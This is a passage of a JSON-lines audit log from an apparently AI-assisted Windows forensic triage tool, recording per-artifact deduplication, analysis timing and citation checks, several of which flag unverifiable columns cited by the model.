  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__runkeys.csv",
  "annotated_rows": 0,
  "artifact_key": "runkeys",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/runkeys.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T10:29:34.002Z analysis_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "duration_seconds": 61.841836,
  "status": "success",
  "token_count": 738
}
2026-06-13T10:29:34.006Z citation_validation
{
  "artifact_key": "runkeys",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "OneDrive",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "LocalService",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "NetworkService",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited timestamp 2026-06-13 which could not be verified in the source data.",
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'OneDrive' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'LocalService' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'NetworkService' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:29:34.009Z analysis_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:29:35.891Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__tasks.csv",
  "artifact_key": "tasks",
  "projection_columns": [
    "task_path",
    "uri",
    "date",
    "last_run_date",
    "author",
    "task_name",
    "display_name",
    "enabled",
    "hidden",
    "user_id",
    "run_as",
    "logon_type",
    "group_id",
    "run_level",
    "action_type",
    "action",
    "command",
    "arguments",
    "args",
    "working_directory",
    "start_in",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/tasks.csv"
}
2026-06-13T10:29:35.895Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__tasks.csv",
  "annotated_rows": 260,
  "artifact_key": "tasks",
  "removed_records": 350,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/tasks.csv",
  "variant_columns": [
    "date",
    "last_run_date",
    "arguments"
  ]
}
2026-06-13T10:33:28.012Z analysis_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "duration_seconds": 234.00034,
  "status": "success",
  "token_count": 417
}
2026-06-13T10:33:28.021Z citation_validation
{
  "artifact_key": "tasks",
  "citation_counts": {
    "columns": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    }
  },
  "citation_validation": "checked",
  "column_match_results": [
    {
      "cited": "last_run_date",
      "match_status": "exact",
      "matched_header": "last_run_date"
    },
    {
      "cited": "date",
      "match_status": "exact",
      "matched_header": "date"
    }
  ],
  "warning_count": 0,
  "warnings": []
}
2026-06-13T10:33:28.023Z analysis_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:33:28.055Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__services.csv",
  "artifact_key": "services",
  "projection_columns": [
    "ts",
    "name",
    "displayname",
    "description",
    "servicedll",
    "imagepath",
    "imagepath_args",
    "objectname",
    "start",
    "type"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/services.csv"
}
2026-06-13T10:33:28.057Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__services.csv",
  "annotated_rows": 0,
  "artifact_key": "services",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/services.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T10:36:24.113Z analysis_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "duration_seconds": 176.086681,
  "status": "success",
  "token_count": 972
}
2026-06-13T10:36:24.130Z citation_validation
{
  "artifact_key": "services",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "mnemosyne",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "LocalSystem",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Mnemosyne.sys",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "subject_srv.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "WinDefend",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Manual",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "McShield",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "enterceptAgent",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 8,
  "warnings": [
    "Note: AI cited column 'mnemosyne' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'LocalSystem' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Mnemosyne.sys' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'subject_srv.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'WinDefend' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Manual' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'McShield' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'enterceptAgent' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:36:24.134Z analysis_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:36:24.151Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__shimcache.csv",
  "artifact_key": "shimcache",
  "projection_columns": [
    "last_modified",
    "index",
    "name",
    "path"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/shimcache.csv"
}
2026-06-13T10:36:24.154Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__shimcache.csv",
  "annotated_rows": 0,
  "artifact_key": "shimcache",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/shimcache.csv",
  "variant_columns": [
    "last_modified",
    "index"
  ]
}
2026-06-13T10:39:17.979Z analysis_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "duration_seconds": 173.841886,
  "status": "success",
  "token_count": 802
}
2026-06-13T10:39:17.987Z citation_validation
{
  "artifact_key": "shimcache",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "subject_srv.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Services",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Run",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "AppCompatCacheParser.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'subject_srv.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Services' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Run' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'AppCompatCacheParser.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:39:17.990Z analysis_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:39:18.191Z artifact_ai_projection_warning
{
  "artifact_key": "amcache",
  "available_columns": [
    "hostname",
    "domain",
    "mtime_regf",
    "program_id",
    "digest",
    "path",
    "hash_path",
    "name",
    "publisher",
    "version",
    "bin_file_version",
    "product_name",
    "product_version",
    "link_date",
    "bin_product_version",
    "size",
    "language",
    "is_pefile",
    "is_oscomponent",
    "_source",
    "_classification",
    "_generated",
    "_version",
    "install_date",
    "install_date_arp_last_modified",
    "install_date_from_link_file",
    "language_code",
    "msi_package_code",
    "msi_product_code",
    "package_full_name",
    "type",
    "manifest_path",
    "os_version_at_install_time",
    "program_instance_id",
    "registry_key_path",
    "root_dir_path",
    "source",
    "uninstall_string",
    "categories",
    "discovery_method",
    "friendly_name",
    "icon",
    "is_active",
    "is_connected",
    "is_machine_container",
    "is_networked",
    "is_paired",
    "manufacturer",
    "model_id",
    "model_name",
    "model_number",
    "primary_category",
    "state",
    "driver_name",
    "inf",
    "driver_version",
    "product",
    "wdf_version",
    "driver_company",
    "driver_package_strong_name",
    "service",
    "driver_signed",
    "driver_is_kernel_mode",
    "last_write_time",
    "driver_timestamp",
    "image_size"
  ],
  "missing_columns": [
    "ts",
    "last_modified_timestamp",
    "created_timestamp",
    "company_name",
    "file_size"
  ]
}
2026-06-13T10:39:18.375Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__amcache.csv",
  "artifact_key": "amcache",
  "projection_columns": [
    "install_date",
    "path",
    "name",
    "publisher",
    "version",
    "product_name",
    "digest",
    "size",
    "driver_name",
    "service",
    "driver_signed",
    "is_pefile",
    "is_oscomponent",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/amcache.csv"
}
2026-06-13T10:39:18.377Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__amcache.csv",
  "annotated_rows": 3,
  "artifact_key": "amcache",
  "removed_records": 11,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/amcache.csv",
  "variant_columns": [
    "install_date"
  ]
}
2026-06-13T10:39:20.773Z chunked_analysis_started
{
  "artifact_key": "amcache",
  "chunk_reason": "prompt_plus_inlined_CSV_attachment_fallback",
  "csv_budget_per_chunk": 192807,
  "total_chunks": 4
}
2026-06-13T10:53:16.716Z analysis_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "chunked": true,
  "duration_seconds": 838.722126,
  "processing_warnings": [],
  "status": "success",
  "token_count": 2796
}
2026-06-13T10:53:16.729Z citation_validation
{
  "artifact_key": "amcache",
  "citation_counts": {
    "columns": {
      "checked": 13,
      "skipped": 0,
      "total": 13
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "ProgramData",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "k.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "googleupdatesetup.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "setup.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "NTUSER.DAT",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "UsrClass.dat",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "eqnedt32.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "rpcapd.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 12,
  "warnings": [
    "Note: AI cited column 'ProgramData' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'k.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'googleupdatesetup.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'setup.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'NTUSER.DAT' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'UsrClass.dat' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'eqnedt32.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'rpcapd.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:53:16.734Z analysis_started
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:53:16.739Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__bam.csv",
  "artifact_key": "bam",
  "projection_columns": [
    "ts",
    "path",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/bam.csv"
}
2026-06-13T10:53:16.741Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__bam.csv",
  "annotated_rows": 9,
  "artifact_key": "bam",
  "removed_records": 18,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/bam.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T10:53:54.217Z analysis_completed
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "duration_seconds": 37.479925,
  "status": "success",
  "token_count": 515
}
2026-06-13T10:53:54.226Z citation_validation
{
  "artifact_key": "bam",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Microsoft.Windows.Cortana_cw5n1h2txyewy",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Microsoft.WindowsStore_8wekyb3d8bbwe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "row_ref",
      "match_status": "exact",
      "matched_header": "row_ref"
    },
    {
      "cited": "ts",
      "match_status": "exact",
      "matched_header": "ts"
    },
    {
      "cited": "path",
      "match_status": "exact",
      "matched_header": "path"
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'Microsoft.Windows.Cortana_cw5n1h2txyewy' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Microsoft.WindowsStore_8wekyb3d8bbwe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:53:54.229Z analysis_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:53:54.238Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__userassist.csv",
  "artifact_key": "userassist",
  "projection_columns": [
    "ts",
    "path",
    "number_of_executions",
    "application_focus_count",
    "application_focus_duration",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/userassist.csv"
}
2026-06-13T10:53:54.241Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__userassist.csv",
  "annotated_rows": 3,
  "artifact_key": "userassist",
  "removed_records": 3,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/userassist.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T10:55:29.710Z analysis_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "duration_seconds": 95.47719,
  "status": "success",
  "token_count": 1450
}
2026-06-13T10:55:29.716Z citation_validation
{
  "artifact_key": "userassist",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mhill",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "E7CF176E110C211B",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mhill' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'E7CF176E110C211B' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:55:29.719Z analysis_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:55:29.723Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__recyclebin.csv",
  "artifact_key": "recyclebin",
  "projection_columns": [
    "ts",
    "path",
    "deleted_path",
    "filesize",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/recyclebin.csv"
}
2026-06-13T10:55:29.726Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__recyclebin.csv",
  "annotated_rows": 0,
  "artifact_key": "recyclebin",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/recyclebin.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T10:56:55.764Z analysis_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "duration_seconds": 86.041816,
  "status": "success",
  "token_count": 562
}
2026-06-13T10:56:55.769Z citation_validation
{
  "artifact_key": "recyclebin",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "TargetList",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mhill",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "del",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "rmdir",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'TargetList' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mhill' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'del' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'rmdir' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T10:56:55.772Z analysis_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T10:56:55.942Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__browser.history.csv",
  "artifact_key": "browser.history",
  "projection_columns": [
    "ts",
    "browser",
    "url",
    "title",
    "host",
    "visit_type",
    "visit_count",
    "typed",
    "hidden",
    "from_url",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/browser.history.csv"
}
2026-06-13T10:56:55.946Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__browser.history.csv",
  "annotated_rows": 188,
  "artifact_key": "browser.history",
  "removed_records": 465,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/browser.history.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T10:56:56.406Z chunked_analysis_started
{
  "artifact_key": "browser.history",
  "chunk_reason": "prompt_plus_inlined_CSV_attachment_fallback",
  "csv_budget_per_chunk": 193566,
  "total_chunks": 5
}
2026-06-13T11:15:03.779Z analysis_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "chunked": true,
  "duration_seconds": 1088.003075,
  "processing_warnings": [],
  "status": "success",
  "token_count": 2487
}
2026-06-13T11:15:03.811Z citation_validation
{
  "artifact_key": "browser.history",
  "citation_counts": {
    "columns": {
      "checked": 10,
      "skipped": 0,
      "total": 10
    },
    "row_refs": {
      "checked": 33,
      "skipped": 0,
      "total": 33
    },
    "timestamps": {
      "checked": 35,
      "skipped": 0,
      "total": 35
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Object.getOwnPropertyNames",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "apply.bind",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "spiderfoot.net",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mail.protonmail.com",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mhill",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "visit_type",
      "match_status": "exact",
      "matched_header": "visit_type"
    },
    {
      "cited": "typed",
      "match_status": "exact",
      "matched_header": "typed"
    },
    {
      "cited": "hidden",
      "match_status": "exact",
      "matched_header": "hidden"
    },
    {
      "cited": "title",
      "match_status": "exact",
      "matched_header": "title"
    }
  ],
  "warning_count": 7,
  "warnings": [
    "Note: AI cited timestamp 2026-06-13 which could not be verified in the source data.",
    "Note: AI cited column 'Object.getOwnPropertyNames' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'apply.bind' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'spiderfoot.net' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mail.protonmail.com' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mhill' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:15:03.815Z analysis_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:15:03.823Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__browser.downloads.csv",
  "artifact_key": "browser.downloads",
  "projection_columns": [
    "ts_start",
    "ts_end",
    "browser",
    "path",
    "url",
    "size",
    "state",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/browser.downloads.csv"
}
2026-06-13T11:15:03.825Z artifact_deduplicated
{
